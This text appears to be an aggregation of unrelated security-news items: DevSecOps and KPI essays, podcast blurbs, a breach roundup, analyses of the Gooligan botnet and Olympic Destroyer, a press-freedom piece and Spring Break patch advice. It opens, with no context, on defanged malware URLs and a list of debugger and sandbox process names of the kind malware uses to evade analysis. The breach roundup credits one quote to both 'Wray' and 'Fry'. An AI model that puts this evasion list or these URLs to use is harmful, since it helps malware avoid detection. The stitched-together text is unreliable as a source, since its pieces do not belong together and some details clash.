hxxp://www.allstylus[.]com.br//db_template.php
hxxp://www.algom-law[.]com//db_template.php
hxxp://ambiances-toiles[.]fr//db_template.php
win32_remote
win64_remote64
ollydbg
ProcessHacker
tcpview
autoruns
autorunsc
filemon
procmon
regmon
procexp
idaq
idaq64
ImmunityDebugger
Wireshark
dumpcap
HookExplorer
ImportREC
PETools
LordPE
dumpcap
SysInspector
proc_analyzer
sysAnalyzer
sniff_hit
windbg
joeboxcontrol
joeboxserver
We talk a lot about the need for development teams to create security champions. With the shift to DevOps – and the intersecting of development, security, and operations teams – development and security teams can no longer operate in their traditional silos. Each team needs to not only work closely together, but also have a much deeper understanding of each others’ pains, processes, and priorities. For most developers, this is uncharted territory. Security has simply not been part of their jobs or training. In fact, the vast majority have not had training on secure coding, either in college or on the job. We solve this problem in part here at CA Veracode by creating security champions on our development teams, and we recommend and coach our customers to do the same. Security champions help to reduce culture conflict between development and security by amplifying the security message on a peer-to-peer level. They don’t need to be experts, more like the “security consciousness” of the group.
But what about a development champion on the security team? Just as developers are in uncharted territory with security, the security team often has limited understanding of how the development team works. What if the security team had a development champion who was tasked with getting to know and understand the development team and their processes and bringing that knowledge and understanding back to the team? The reality is that in a DevOps world, the security team does need a much more thorough understanding of the development process than they did in the past; they simply won’t be able to do their jobs effectively and integrate security into the development process without a deep understanding of how this team works.
The development champion would spend time with the development team, getting a clear picture of their day-to-day tasks, their priorities, their pain points. Additionally, this person would spend some time learning how to code and becoming familiar with the tools developers use, and bring that understanding back to his or her team. Finally, as security shifts left, the security team will need at least a high-level understanding of developer tools like IDEs, build systems, and configuration management tools, in order to embed security tools and processes into developer workflows. What does a development champion look like?
Check out the Anatomy of a Development Champion:
Want to be the development champion on your team?
Start with our toolkit – Understanding the Dev in DevSecOps: A Toolkit for the Security Team.
This week, Paul and Keith talk about “The Phoenix Project”, Amazon admits Alexa is creepily laughing at people, Ethereum fixes serious ‘eclipse’ flaw, Kali Linux is now an app in the Windows App Store, Docker + Minecraft = Dockercraft, and more on this episode of Application Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/ASW_Episode08
Visit https://www.securityweekly.com/asw for all the latest episodes!
I started my security (post-sysadmin) career heavily focused on security policy frameworks. It took me down many roads, but everything always came back to a few simple notions, such as that policies were a means of articulating security direction, that you had to prescriptively articulate desired behaviors, and that the more detail you could put into the guidance (such as in standards, baselines, and guidelines), the better off the organization would be. Except, of course, that in the real world nobody ever took time to read the more detailed documents, Ops and Dev teams really didn't like being told how to do their jobs, and, at the end of the day, I was frequently reminded that publishing a policy document didn't translate to implementation.
Subsequently, I've spent the past 10+ years thinking about better ways to tackle policies, eventually reaching the point where I believe "less is more" and that anything written and published in a place and format that isn't "work as usual" will rarely, if ever, get implemented without a lot of downward force applied. I've seen both good and bad policy frameworks within organizations. Often they cycle around between good and bad. Someone will build a nice policy framework, it'll get implemented in a number of key places, and then it will languish from neglect and inadequate upkeep until it's irrelevant and ignored. This is not a recipe for lasting success.
Thinking about it further this week, it occurred to me that part of the problem is thinking in the old "compliance" mindset. Policies are really to blame for driving us down the checkbox-compliance path. Sure, we can easily stand back and try to dictate rules, but without the adequate authority to enforce them, and without the resources needed to continually update them, they're doomed to obsolescence. Instead, we need to move to that "security as code" mentality and find ways to directly codify requirements in ways that are naturally adapted and maintained.
End Dusty Tomes and (most) Out-of-Band Guidance
The first daunting challenge of security policy framework reform is to throw away the old, broken approach with as much gusto and finality as possible. Yes, there will always be a need for certain formally documented policies, but overall an organization Does. Not. Need. large amounts of dusty tomes providing out-of-band guidance to a non-existent audience.
Now, note a couple things here. First, there is a time and a place for providing out-of-band guidance, such as via direct training programs. However, it should be the minority of guidance, and wherever possible you should seek to codify security requirements directly into systems, applications, and environments. For a significant subset of security practices, it turns out we do not need to repeatedly consider whether or not something should be done, but can instead make the decision once and then roll it out everywhere as necessary and appropriate.
Second, we have to realize and accept that traditional policy (and related) documents only serve a formal purpose, not a practical or pragmatic purpose. Essentially, the reason you put something into writing is because a) you're required to do so (such as by regulations), or b) you're driven to do so due to ongoing infractions or the inability to directly codify requirements (for example, requirements on human behavior). What this leaves you with are requirements that can be directly implemented and that are thus easily measurable.
KPIs as Policies (et al.)
If the old ways aren't working, then it's time to take a step back and think about why that might be and what might be better going forward. I'm convinced the answer to this query lies in stretching the "security as code" notion a step further by focusing on security performance metrics for everything and everyone instead of security policies. Specifically, if you think of policies as requirements, then you should be able to recast those as metrics and key performance indicators (KPIs) that are easily measured, and in turn are easily integrated into dashboards. Moreover, going down this path takes us into a much healthier sense of quantitative reasoning, which can pay dividends for improved information risk awareness, measurement, and management.
Applied, this approach scales very nicely across the organization. Businesses already operate on a KPI model, and converting security requirements (née policies) into specific measurables at various levels of the organization means ditching the ineffective, out-of-band approach previously favored for directly specifying, measuring, and achieving desired performance objectives. Simply put, we no longer have to go out of our way to argue for people to conform to policies, but instead simply start measuring their performance and incentivize them to improve to meet performance objectives. It's then a short step to integrating security KPIs into all roles, even going so far as to establish departmental, if not whole-business, security performance objectives that are then factored into overall performance evaluations.
Examples of security policies-become-KPIs might include metrics around vulnerability and patch management, code defect reduction and remediation, and possibly even phishing-related metrics that are rolled up to the department or enterprise level. When creating security KPIs, think about the policy requirements as they're written and take time to truly understand the objectives they're trying to achieve. Convert those objectives into measurable items, and there you are on the path to KPIs as policies. For more on thoughts on security metrics, I recommend checking out the CIS Benchmarks as a starting point.
Better Reporting and the Path to Accountability
Converting policies into KPIs means that nearly everything is natively built for reporting, which in turn enables executives to have better insight into the security and information risk of the organization. Moreover, shifting the focus to specific measurables means that we get away from the out-of-band dusty tomes, instead moving toward achieving actual results. We can now look at how different teams, projects, applications, platforms, etc., are performing and make better-informed decisions about where to focus investments for improvements.
This notion also potentially sparks an interesting future for current GRC-ish products. If policies go away (mostly), then we don't really need repositories for them. Instead, GRC products can shift to being true performance monitoring dashboards, allowing those products to broaden their scope while continuing to adapt other capabilities, such as those related to the so-called "SOAR" market (Security Orchestration, Automation, and Response). If GRC products are to survive, I suspect it will be by either heading further down the information risk management path, pulling in security KPIs in lieu of traditional policies and compliance, or it will drive more toward SOAR+dashboards with a more tactical performance focus (or some combination of the two). Suffice to say, I think GRC as it was once known and defined is in its final days of usefulness.
There's one other potentially interesting tie-in here, and that's to overall data analytics, which I've noticed slowly creeping into organizations. A lot of the focus has been on using data lakes, mining, and analytics in lieu of traditional SIEM and log management, but I think there's also a potentially interesting confluence with security KPIs, too. In fact, thinking about pulling in SOAR capabilities and other monitoring and assessment capabilities and data, it's not unreasonable to think that KPIs become the tweakable dials CISOs (and up) use to balance out risk vs reward in helping provide strategic guidance for address information risk within the enterprise. At any rate, this is all very speculative and unclear right now, but something to nonetheless watch. But I have digressed...
---
The bottom line here is this: traditional policy frameworks have generally outlived their usefulness. We cannot afford to continue writing and publishing security requirements in a format that isn't easily accessible in a "work as usual" format. In an Agile/DevOps world, "security as code" is imperative, and that includes converting security requirements into KPIs.
Reputable anti-malware security vendor Malwarebytes is warning Mac users that malware attacks against the platform climbed 270 percent last year.
The security experts also warn that four new malware exploits targeting Macs have been identified in the first two months of 2018, noting that many of these exploits were identified by users, rather than security firms.
In one instance, a Mac user discovered that their DNS settings had been changed and found themselves unable to change them back.
This past week saw the announcement of several new payment card breaches, including a point-of-sale breach at Applebee’s restaurants that affected 167 locations across 15 states.
The malware, which was discovered on February 13, 2018, was “designed to capture payment card information and may have affected a limited number of purchases” made at Applebee’s locations owned by RMH Franchise Holdings, the company said in a statement.
News outlets reported many of the affected locations had their systems infected between early December 2017 and early January 2018. Applebee’s has close to 2,000 locations around the world and 167 of them were affected by the incident.
In addition to Applebees, MenuDrive issued a breach notification to merchants saying that its desktop ordering site was injected with malware designed to capture payment card information. The incident impacted certain transactions from November 5, 2017 to November 28, 2017.
“We have learned that the malware was contained to ONLY the Desktop ordering site of the version that you are using and certain payment gateways,” the company wrote. “Thus, this incident was contained to a part of our system and did NOT impact the Mobile ordering site or any other MenuDrive versions.”
Finally, there is yet another breach notification related to Sabre Hospitality Solutions’ SynXis Central Reservations System — this time affecting Preferred Hotels & Resorts. Sabre said that a unauthorized individual used compromised user credentials to view reservation information, including payment card information, for a subset of hotel reservations that Sabre processed on behalf of the company between June 2016 and November 2017.
Other trending cybercrime events from the week include:
SurfWatch Labs collected data on many different companies tied to cybercrime over the past week. Some of the top trending targets are shown in the chart below.
There were several regulatory stories that made headlines this week, including the FBI’s continued push for a stronger partnership with the private sector when it comes to encryption, allegations that Geek Squad techs act as FBI spies, and new data breach notification laws.
In a keynote address at Boston College’s cybersecurity summit, FBI Director Christopher Wray said that there were 7,775 devices that the FBI could not access due to encryption in fiscal 2017, despite having approval from a judge. According to Fry, that meant the FBI could not access more than half of the devices they tried to access during the period.
“Let me be clear: the FBI supports information security measures, including strong encryption,” Fry said. “Actually, the FBI is on the front line fighting cyber crime and economic espionage. But information security programs need to be thoughtfully designed so they don’t undermine the lawful tools we need to keep the American people safe.”
However, Ars Technica noted that a consensus of technical experts has said that what the FBI has asked for is impossible.
In addition, the Electronic Frontier Foundation obtained documents via a Freedom of Information Act lawsuit that revealed the FBI and Best Buy’s Geek Squad have been working together for decades. In some cases Geek Squad techs were paid as much as $1,000 to be informants, which the EFF argued was a violation of Fourth Amendment rights as the computer searches were not authorized by their owners.
Finally, the Alabama senate unanimously passed the Alabama Breach Notification Act, and the bill will now move to the house.
“Alabama is one of two states that doesn’t have a data breach notification law,” said state Senator Arthur Orr, who sponsored Alabama’s bill. “In the case of a breach, businesses and organizations, including state government, are under no obligation to tell a person their information may have been compromised.”
With both Alabama and South Dakota recently introducing data breach notification legislation, every resident of the U.S. may soon be protected by a state breach notification law.
This article conveys my personal opinion towards security and it's underlying revenue model; I would recommend to read it with a pinch of salt (+ tequila, while we are on it). I shall be covering either side of the coin, the heads where pentesters try to give you a heads-up on underlying issues, and tails where the businesses still think they can address security at the tail-end of their development.
A recent conversation with a friend who's in information security triggered me to address the white elephant in the room. He works in a security services firm that provides intelligence feeds and alerts to the clients. Now he shared a case where his firm didn't share the right feed at the right time even though the client was "vulnerable" because the subscription model is different. I understand business is essential, but on the contrary isn't security a collective argument? I mean tomorrow if when this client gets attacked, are you going just to turn a blind eye because it didn't pay you well? I understand the remediation always cost money (or more efforts) but holding the alert to a client on some attack you witnessed in the wild based on how much money are they paying you is hard to contend.
I don't dream about the utopian world where security is obvious but we surely can walk in that direction.
Is it a domain, a pillar or with the buzz these days, insurance? Information security and privacy while being the talk of the town are still come where the business requirements end. I understand there is a paradigm shift to the left, a movement towards the inception for your "bright idea" but still we are far from an ideal world, the utopian so to speak! I have experienced from either side of the table - the one where we put ourselves in the shoes of hackers and the contrary where we hold hands with the developers to understand their pain points & work together to build a secure ecosystem. I would say it's been very few times that business pays attention to "security" from day-zero (yeah, this tells the kind of clients I am dealing with and why are in business). Often business owners say - Develop this application, based on these requirements, discuss the revenue model, maintenance costs, and yeah! Check if we need these security add-ons or do we adhere to compliance checks as no one wants auditors knocking at the door for all the wrong reasons.
This troubles me. Why don't we understand information security as important a pillar as your whole revenue model?
I have many issues with how "security" is being tossed around as a buzz-word to earn dollars, but very few respect the gravity or the very objective of its existence. I mean whether it's information, financial, or life security - they all have very realistic and quantifiable effects on someone's physical well-being. Every month, I see tens (if not hundreds) of reports and advisories where quality is embarrassingly bad. When you tap to find the right reasons - either the "good" firms are costly, or someone has a comfort zone with existing firms, or worst that neither the business care nor do they pressure firms for better quality. I mean at the end, it's a just plain & straightforward business transaction or a compliance check to make auditor happy.
Have you ever asked yourself the questions,
Now, while I have touched both sides of the problem in this short article; I hope you got the message (fingers crossed). Please do take security seriously, and not only as your business transaction! Every time you do something that involves security on either sides, think - You invest your next big crypto-currency in an exchange/ market that gets hacked because of their lack of due-diligence? Or, your medical records became public because someone didn't perform a good pen-test. Or, you lose your savings because your bank didn't do a thorough "security" check of its infrastructure. If you think you are untouchable because of your home router security; you, my friend are living in an illusion. And, my final rant to the firms where there are good consultants but the reporting, or seriousness in delivering the message to the business is so fcuking messed up, that all their efforts go in vain. Take your deliverable seriously; it's the only window business has to peep into the issues (existing or foreseen), and plan the remediation in time.
That's all my friends. Stay safe and be responsible; security is a cumulative effort and everyone has to be vigilant because you never know where the next cyber-attack be.
This week, Stefano Righi of UEFI joins us for an interview! Sven Morgenroth, Security Researcher at Netsparker joins us for the Technical Segment! In the news, we have updates from FinFisher, Equifax, Facebook, and more on this episode of Paul's Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/Episode550
Visit https://www.securityweekly.com/psw for all the latest episodes!
This series of posts recounts how, in November 2016, we hunted for and took down Gooligan, the infamous Android OAuth stealing botnet. What makes Gooligan special is its weaponization of OAuth tokens, something that was never observed in mainstream crimeware before. At its peak, Gooligan had hijacked over 1M OAuth tokens in an attempt to perform fraudulent Play store installs and reviews.
Gooligan marks a turning point in Android malware evolution as the first large scale OAuth crimeware
While I rarely talk publicly about it, a key function of our research team is to assist product teams when they face major attacks. Gooligan’s very public nature and the extensive cross-industry collaboration around its takedown provided the perfect opportunity to shed some light on this aspect of our mission.
Being part of the emergency response task force is a central aspect of our team, as it allows us to focus on helping our users when they need it the most and exposes us to tough challenges in real time, as they occur. Overcoming these challenges fuels our understanding of the security and abuse landscape. Quite a few of our most successful research projects started due to these escalations, including our work on fake phone verified accounts , the study of HTTPS interception , and the analysis of mail delivery security .
Given the complexity of this subject, I broke it down into three posts to ensure that I can provide a a full debrief of what went down and cover all the major aspects of the Gooligan escalation. This first post recounts the Gooligan origin story and offers an overview of how Gooligan works. The second post provides an in-depth analysis of Gooligan’s inner workings and an analysis of its network infrastructure. The final post discusses Gooligan various monetization schemas and its takedown.
This series of posts is modeled after the talk I gave with Oren Koriat from Check Point, at Botconf in December 2017, on the subject. Here is a re-recording of the talk:
You can get the slides here but they are pretty bare.
As OAuth token abuse is Gooligan’s key innovation, let’s start by quickly summarizing how OAuth tokens work, so it is clear why this is such a game changer.
OAuth tokens are the de facto standard for granting apps and devices restricted access to online accounts without sharing passwords and with a limited set of privileges. For example, you can use an OAuth token to only allow an app to read your Twitter timeline, while preventing it from changing your settings or posting on your behalf.
Under the hood , the service provides the app, on your behalf, with an OAuth token that is tied to the exact privileges you want to grant. In a way that is similar but not exactly the same, when you sign up with your Google account on an Android device, Google gives the device a token that allows it to access Google services on your behalf. This is the long term token that Gooligan stole in order to impersonate users on the Play Store. You can read more about Android long term tokens here .
Overall, Gooligan is made of six key components:
Analyzing Gooligan’s code allowed us to trace it back to earlier malware families, as it built upon their codebase. While those families are clearly related code-wise, we can't ascertain whether the same actor is behind all of them, because a lot of the shared features were extensively discussed in Chinese blogs.
As visible in the timeline above, Gooligan’s genesis can be traced back to the SnapPea adware that emerged in March 2015 and was discovered by Check Point in July of the same year. SnapPea’s key innovation was the weaponization of the exploit kit Kingroot , which was until then used by enthusiasts to root their phones and install custom ROMs.
SnapPea Kingroot straightforward weaponization led to a rather unusual infection vector: its authors resorted to backdooring the backup application SnapPea to be able to infect victims. After an Android device was physically connected to an infected PC, the malicious SnapPea application used Kingroot to root the device in order to install malware on the device. Gooligan is related to SnapPea because Gooligan also use Kingroot exploits to root devices but in an untethered way via a custom remote server.
Following SnapPea footsteps Gooligan weaponizes the Kingroot exploits to root old unpatched Android devices.
A few months after SnapPea appeared, Cheetah Mobile uncovered Ghost Push , which quickly became one of the largest Android (off-market) botnets. What set Ghost Push apart technically from SnapPea was the addition of code that allowed it to persist during the device reset. This persistence was accomplished by patching, among other things, the recovery script located in the system partition after Ghost Push gained root access in the same way Snappea did. Gooligan reused the same persistent code.
Gooligan borrowed from Ghost Push the code used to ensure its persistence across device resets.
As outline in this post Gooligan is a complex malware that built on previous malware generation and extend it to a brand new vector of attack: OAuth tokens theft.
Gooligan marks a turning point in Android malware evolution as the first large scale OAuth crimeware
Building up on this post, the next one of the serie will provide in-depth analysis of Gooligan’s inner workings and an analysis of its network infrastructure. The final post will discusses Gooligan various monetization schemas and its takedown
Thank you for reading this post till the end! If you enjoyed it, don’t forget to share it on your favorite social network so that your friends and colleagues can enjoy it too and learn about Gooligan.
To get notified when my next post is online, follow me on Twitter , Facebook , Google+ , or LinkedIn . You can also get the full posts directly in your inbox by subscribing to the mailing list or via RSS .
A bientôt!
This talk provides a retrospective on how during 2017 Check Point and Google jointly hunted down Gooligan – one of the largest Android botnets at the time. Beside its scale what makes Gooligan a worthwhile case-study is its heavy reliance on stolen oauth tokens to attack Google Play’s API, an approach previously unheard of in malware.
This talk starts by providing an in-depth analysis of how Gooligan’s kill-chain works from infection and exploitation to system-wide compromise. Then building on various telemetry we will shed light on which devices were infected and how this botnet attempted to monetize the stolen oauth tokens. Next we will discuss how we were able to uncover the Gooligan infrastructure and how we were able to tie it to another prominent malware family: Ghostpush. Last but not least we will recount how we went about re-securing the affected users and takedown the infrastructure.
The Olympic Destroyer cyberattack is a very recent and notable attack by sophisticated threat actors against a globally renowned 2-week sporting event that takes place once every four years in a different part of the world. Successfully attacking the Winter Olympics requires motivation, planning, resources and time.
Cyberattack campaigns are often a reflection of real world tensions and provide insight into the possible suspects in the attack. Much has been written about the perpetrators behind Olympic Destroyer emanating from either North Korea or Russia. Both have motivations. North Korea would like to embarrass its sibling South Korea, the holders of the 23rd Winter Olympics. Russia could be seeking revenge for the IOC ban on their team. And Russia has precedence, having previously been blamed for attacks on other sporting organizations, such as the intrusion at the World Anti Doping Agency that was targeted via a stolen International Olympic Committee account.
There has been much said about attribution, with accusations of misleading false flags and anti-forensics built into the malware. As Talos points out in their report, attribution is hard.
But attribution is not just hard, it’s often a wilderness of mirrors and, more often than not, a bit anticlimactic.
The motivation of our following analysis is not to point the finger of blame about who did the attacking, but to utilize our expertise in analyzing malware code and understanding the behaviors it exhibits to highlight the heritage, evolution and commonalities we found in the code of the Olympic Destroyer malware.
Besides analyzing the behavior of a sample, our sandbox performs several levels of code analysis, eventually extracting all code components, regardless if they are run at run-time or not. As we described in a blog post a few years ago, this technique is essential if we are to detect any dormant functionality that might be present within the sample.
After decomposing the code components in normalized basic blocks, the sandbox computes smart code hashes that are stored and indexed in our threat intelligence knowledge base. Over the last 3 years we have been collecting code hashes for millions of files, so when we want to hunt for other samples related to the same actor, we are able to query our backend for any other binaries that have been reusing significant amounts of code.
The rationale being that actors usually build up their code base over time, and reuse it over and over again across different campaigns. Code surely might evolve, but some components are bound to remain the same. This is the intuition that drove our investigation on Olympic Destroyer further. The first results were obviously some variants of the Olympic Destroyer binaries which we have already mentioned in our previous post. However, it quickly got way more interesting.
A very specific code hash led us through this process: 7CE26E95118044757D3C7A97CF9D240A (Lastline customers can use it to query our Global Threat Intelligence Network). This rare code hash surprisingly linked 21ca710ed3bc536bd5394f0bff6d6140809156cf, a payload of the Olympic Destroyer campaign, with some other samples of a remote access trojan, “TVSpy.” Though the actual internal name of the threat is TVRAT, the malware is known and labelled in VirusTotal as Trojan.Pavica or Trojan.Mezzo, none of which were previously connected to the original Olympic Destroyer campaign.
Figure 1 shows the actual code referenced by the code hash: it is a function used to read a buffer, and subsequently parse PE header from it.
Figure 1: The code referenced by the code hash 7CE26E95118044757D3C7A97CF9D240A shared by both the Olympic Destroyer sample 21ca710ed3bc536bd5394f0bff6d6140809156cf sha1 and TVSpy sample a61b8258e080857adc2d7da3bd78871f88edec2c.
This is not where code re-usage ends, as the actual function referencing and invoking the following fragment (see Figure 2) also shares almost all of the same logic. This function is responsible for loading PE file from the memory buffer and executing an entry point.
Figure 2: Function responsible for loading PE file from memory reused in both Olympic Destroyer and TV Spy
We decided to further investigate this piece of code since loading PE from memory is not all that common. Its origin opened several questions:
Our first discovery was a Remote Access trojan called TVSpy, mentioned above. This family has been the subject of a few previous research investigations, and a recent Benkow Lab blog post (from November 2017) even reported that the source code was available on github.
Unfortunately, all links to github are now dead. But that didn’t stop us from finding the actual source code (or at least evidence that it was indeed published at some point). Apparently it was sold for $US500 on an underground Russian forum in 2015. Even though the original post and links are gone, a Russian information security forum kept a copy of the source code package alongside a description of the original sale announcement (see Figure 3).
Figure 3: TVSpy code as sold in an underground forum (according to researchers from ru-sfera.org)
Although interesting, this connection was eventually not enough to connect Olympic Destroyer to Russia or to TVSpy. So we kept digging. Further research finally identified the code in Figures 1 and 2 to be part of an open source project called LoadDLL (see Figure 4) and available on codeproject.com (first published back in March 2014).
Figure 4: Fragment of LoadDLL source code from LoadDLL project
However, a couple things still didn’t add up: why had we only managed to identify samples from 2017 even if the source code was released in 2014? What about older versions of TVSpy? How come our search didn’t return any of those samples? Were Olympic Destroyer and TVSpy samples from 2017 sharing more than just the LoadDLL code?
Apparently TVSpy went through a few transformations. Samples from 2015 did embed and use the LoadDLL code, but the compiler did some specific optimizations that made the code unique (see Figure 5). In particular the compiler optimized out both “flags” (not used in the function) and “read_proc” (statically link function) from the parameters of LoadDll, but it couldn’t optimize out a “if (read_proc)” check even though it is useless since “read_proc” is not passed as a parameter anymore.
Figure 5. Reconstructed source code of LoadDll from TVSpy dated back to 2015
The “read_proc” function itself is also identical to one from source code (see Figures 6 and 7) and as you can see in Figure 8, it also gets called exactly the same way as the original source code from codeproject.com.
Figure 6: read_proc function implementation
Figure 7: read_proc function implementation
The most interesting aspect for us is in fact the version of TVSpy that dates back to 2017-2018 and shares with Olympic Destroyer almost the exact binary code of LoadDLL. You can see LoadDll_LoadHeaders for those samples in Figure 9: as you might notice the function looks different then the one from the older version (see Figure 8).
Figure 8. Reconstructed source code of LoadDLL_LoadHeaders function from TVSpy dated back to 2015
First, we thought that the authors added new checks before calling read_proc function, making clear link between Olympic Destroyer and TVSpy (how, after all, could there be the same code modifications if the authors were not the same?). However, after further review we figured that read_proc didn’t exist anymore. Instead it was compiled inline resulting in a statically linked memcpy function.
Figure 9. Reconstructed LoadDLL_LoadHeaders from TVSpy and OlympicDestroyer samples, including additional check due to inlining of the read_proc function.
Also the meaningless check in LoadDll (“if (read_proc)”) we mentioned before has disappeared in the new version of the code (see Figure 10).
Figure 10. Reconstructed LoadDLL_LoadHeaders from TVSpy and Olympic Destroyer samples, including additional check due to inlining of the read_proc function.
In conclusion, we believe that this is not enough evidence to substantiate a claim that Olympic Destroyer and new versions of TVSpy using the same modified source code are built by the same author.
The more probable version for us is that the sample was built on a new compiler that further optimized the code. It would still mean that both new version of TVSpy and Olympic Destroyer are built using the same toolchain configured in the very same way (to enable full optimization and link C++ runtime statically). We actually went to the extent of compiling the LoadDLL on MS Visual Studio 2017 with C++ runtime statically linked, and we managed to get the very same code as the one included in both Olympic Destroyer and TVSpy.
Although we would have liked to finally solve the dilemma, and unveil which were the actors behind the Olympic Destroyer attack, we ended up with more questions than answers, but admittedly, that’s what research sometimes is about.
First, why would the authors of an allegedly state sponsored malware use an old LoadDLL project from an open source project from 2014? It is hard to believe that they could not come up with their own implementation or use much more advanced open-source projects for that, and definitely not relying on an educational prototype buried way beyond the first page of results in Google.
Or maybe the actors were not that much advanced as we would like to think, maybe seeing this as a one-time job, without enough resources to avoid using publicly available source code to quickly build their malware? Or maybe it’s just another red flag, and the real authors decided to use the TVSpy source code as released in 2015 to leave a “Russian fingerprint”?
Maybe all of the above?
At the beginning of this article we stated that attribution is not just hard, it’s often a wilderness of mirrors and more often than not, a bit anticlimactic. As a matter of fact, that was quite a precise prediction.
The post From Russia(?) with Code appeared first on Lastline.
In mid-January, two police officers visited the home of documentary filmmaker Nora Donaghy in Los Angeles, showed her a search warrant, and seized her cell phone. She was also subpoenaed to testify in a grand jury trial about her communications with a source.
Three months into 2018, the most under the radar threat to press freedom has shown itself to be not arrests or attacks on journalists, but rather subpoenas to produce documents or attempt to force journalists to testify about their sources.
While few of these cases have made national headlines because the Trump administration has not been involved, journalists in state and local jurisdictions have been subpoenaed to testify in court by government actors five times already this year, in addition to at least five times in 2017. (Update: Shortly after this post was published, Freedom of the Press Foundation became aware of a sixth subpoena in 2018.)
Donaghy’s colleague William Erb was issued a similar subpoena. Although several news organizations have reported that a ruling was made on these subpoenas, no decision has been made public. Additionally, three Chicago-based newspapers—Chicago Sun-Times, Chicago Tribune, and Daily Herald— were subpoenaed in January 2018 to produce copies of all stories they had run about the fatal police shooting of teenager Laquan McDonald.
In December 2017, investigative journalist Jamie Kalven was subpoenaed by defense attorneys for a Chicago police officer to testify and reveal details about his sources in the criminal trial of the officer in Cook County, Illinois. A month prior, across the country in San Diego, freelance reporter Kelly Davis was ordered to testify at a deposition by the County of San Diego and turn over unpublished materials used in her reporting. These subpoenas, both of which were later quashed, are just two examples of subpoenas against journalists last year.
(Note: The U.S. Press Freedom Tracker does not count legal orders by private parties, but rather only those issued by government prosecutors or agencies ordering journalists to testify in court. We also count legal orders brought by private parties when government officials subpoena journalists in a private capacity.)
When we launched the U.S. Press Freedom Tracker, we weren’t counting legal actions like subpoenas and prior restraint the way we were arrests. While the Tracker has highlighted each individual instance of assaults and arrests since its inception, we predicted that subpoenas would be less common. The Tracker has only been documenting press freedom violations that have occurred since January 2017, so it’s difficult to make conclusions about the prevalence of subpoenas. But the sudden uptick in subpoenas served on journalists just in the past six months is deeply worrying.
To reflect the frequency and press freedom significance of these subpoenas, we modified the counter on the Tracker’s homepage. Although previously it displayed the number of border stops of journalists, it now shows the number of subpoenas.
Legal action that mandates journalists to turn over their reporting materials or reveal information about their sources is always concerning. Investigative journalism, and journalism that challenges power, requires the ability of journalists to keep their sources and reporting processes confidential—especially in the face of legal process.
“A democracy requires a free flow of information to the public. But if a journalist may be forced to disclose the identity of a confidential source, then potential whistleblowers who are concerned about maintaining their anonymity will be less likely to come forward with important information about government or corporate misconduct. So ultimately the public loses out on this valuable information, and the health of our democracy suffers,” says Sarah Matthews, Staff Attorney at Reporters Committee for Freedom of the Press.
It’s a decades-old problem. Journalists have, since the 1970s, gone to jail rather than give up their sources in court. In response, thankfully, many states have “press shield” or “reporter’s privilege” laws. Such laws, which exist in approximately 40 states, aim to provide at least some protection for journalists to avoid testifying about their sources or information that they obtained as part of their newsgathering processes.
Unfortunately, not every state has such laws, and many reporter’s privilege statutes were written decades ago and are not longer adequate in the digital age. While the prospect for passing a strong federal shield law faces increasingly long odds (and could potentially have unintended consequences for press freedom), state legislatures can provide important protections to journalists by updating or passing new press shield laws that take into account the shifting nature of online journalism.
Subpoenaing for journalists’ confidential information may be a long-standing problem, but at least on the state and local level, not one that will be going away anytime soon. We’ll continue to systematically document every such incident with the U.S. Press Freedom Tracker as long as the practice persists.
Spring Break, the latest named vulnerability, is more serious than the moniker implies. Spring Break is a critical remote code execution vulnerability in Pivotal Spring REST, one of the most popular frameworks for building web applications, and the effects of this vulnerability are widespread.
A patch for Spring Break has been available since September of last year, but the vulnerability broke into the news only last week, after the researchers who discovered Spring Break published their findings. The researchers agreed to hold back publishing until now, allowing organizations more time to update their applications. Pivotal recommended patching the vulnerability as soon as possible, in a blog post from Spring Data Project Lead Oliver Gierke. Yet even after six months, many organizations with applications built using the Spring REST component are likely still unpatched.
The attention Spring Break is getting in the media and in security circles is warranted, because of the urgency in patching affected applications, and because it raises serious concerns about application security as a whole. It’s notoriously difficult for businesses to maintain their software and patch vulnerabilities in components, whether they be commercial or open source libraries and frameworks. That’s because many developers are unaware of the components in their applications, and no one is assigned the responsibility to update components when a new version is available.
The consequences of inaction are severe. We don’t know at this point if the easily-exploitable Spring Break vulnerability was used in any attacks, but a similar RCE vulnerability found in Apache Struts last year was the root of a recent mega-breach, which put at risk the data of 143 million Americans.
With so much of our economy dependent on software, we can’t afford to leave it to chance that unpatched applications will not be discovered or exploited by bad actors. Fortunately, there are some essential but achievable steps organizations can take to secure their applications from known vulnerabilities in components.
1. Set a policy
Set a policy establishing that component vulnerabilities are important to the business, just like other non-functional requirements such as availability. Having a policy can also ensure that there’s traceability between security requirements and regulations. Several industry regulations, including the recently enacted New York Department of Financial Services rules, along with healthcare and PCI rules, require organizations to manage risk from third-party components.
2. Create a baseline inventory
There are several ways to build an inventory, including looking at source control or component repositories. One of the most reliable methods may be leveraging security testing you are already doing. Some static analysis providers may already be creating an inventory of components for you through software composition analysis. An inventory can be invaluable to the security team’s response to a newly announced vulnerability, allowing you to focus your efforts on the applications that you know have the vulnerable component.
3. Educate developers
Some developers may be unaware that they need to monitor for new security patches, or that the components they use may rely on other components that may not be secure. CA Veracode research last year found that a vulnerability in Apache Commons Collections (ACC) had spread to more than 80,000 other components that used the ACC component. Fortunately, a focus on developer education leads to measurable results. Our research for the State of Software Security shows that organizations using developer education, whether delivered in one on-one sessions or through self-training video courses, saw improvements in flaw reduction.
4. Integrate security testing throughout the development lifecycle
As development teams make more changes to their applications, it’s important to keep the inventory, and the security picture, up to date. Software composition analysis makes this easy by collecting information about your application’s open source components at the same time that static analysis is conducted – including open source components used by compiled libraries for which you have no source code.
5. Shift the mindset
The functionality open source components deliver can be an asset to a development team, but keep in mind that the asset is offset by technical debt that requires regular payments, in the form of applying regularly released updates to the open source library. And just as with regular debt, failure to make regular payments on technical debt can have catastrophic consequences downstream.
Too often we begin to focus on preventive measures like these after the damage has been done. It’s time to take action to make sure you don’t get breached by the next Spring Break, whatever it may be called.
----
To learn more about how to reduce risk from third-party components, watch a short video and download our whitepaper. Check out the video below, with CA Veracode VP of Research Chris Eng, explaining how to determine whether a branded vulnerability, like Heartbleed, Shellshock or Spring Break, requires fast action or is more hype than harm.
[nid-embed:26706]
This week, Paul and John are accompanied by Eyal Neemany, Senior Cyber Security Researcher at Javelin Networks! In the news, we have updates from Duo Security, SolarWinds, AlgoSec, Martin Shkreli, and more on this episode of Enterprise Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/ES_Episode82
Visit https://www.securityweekly.com/esw for all the latest episodes!
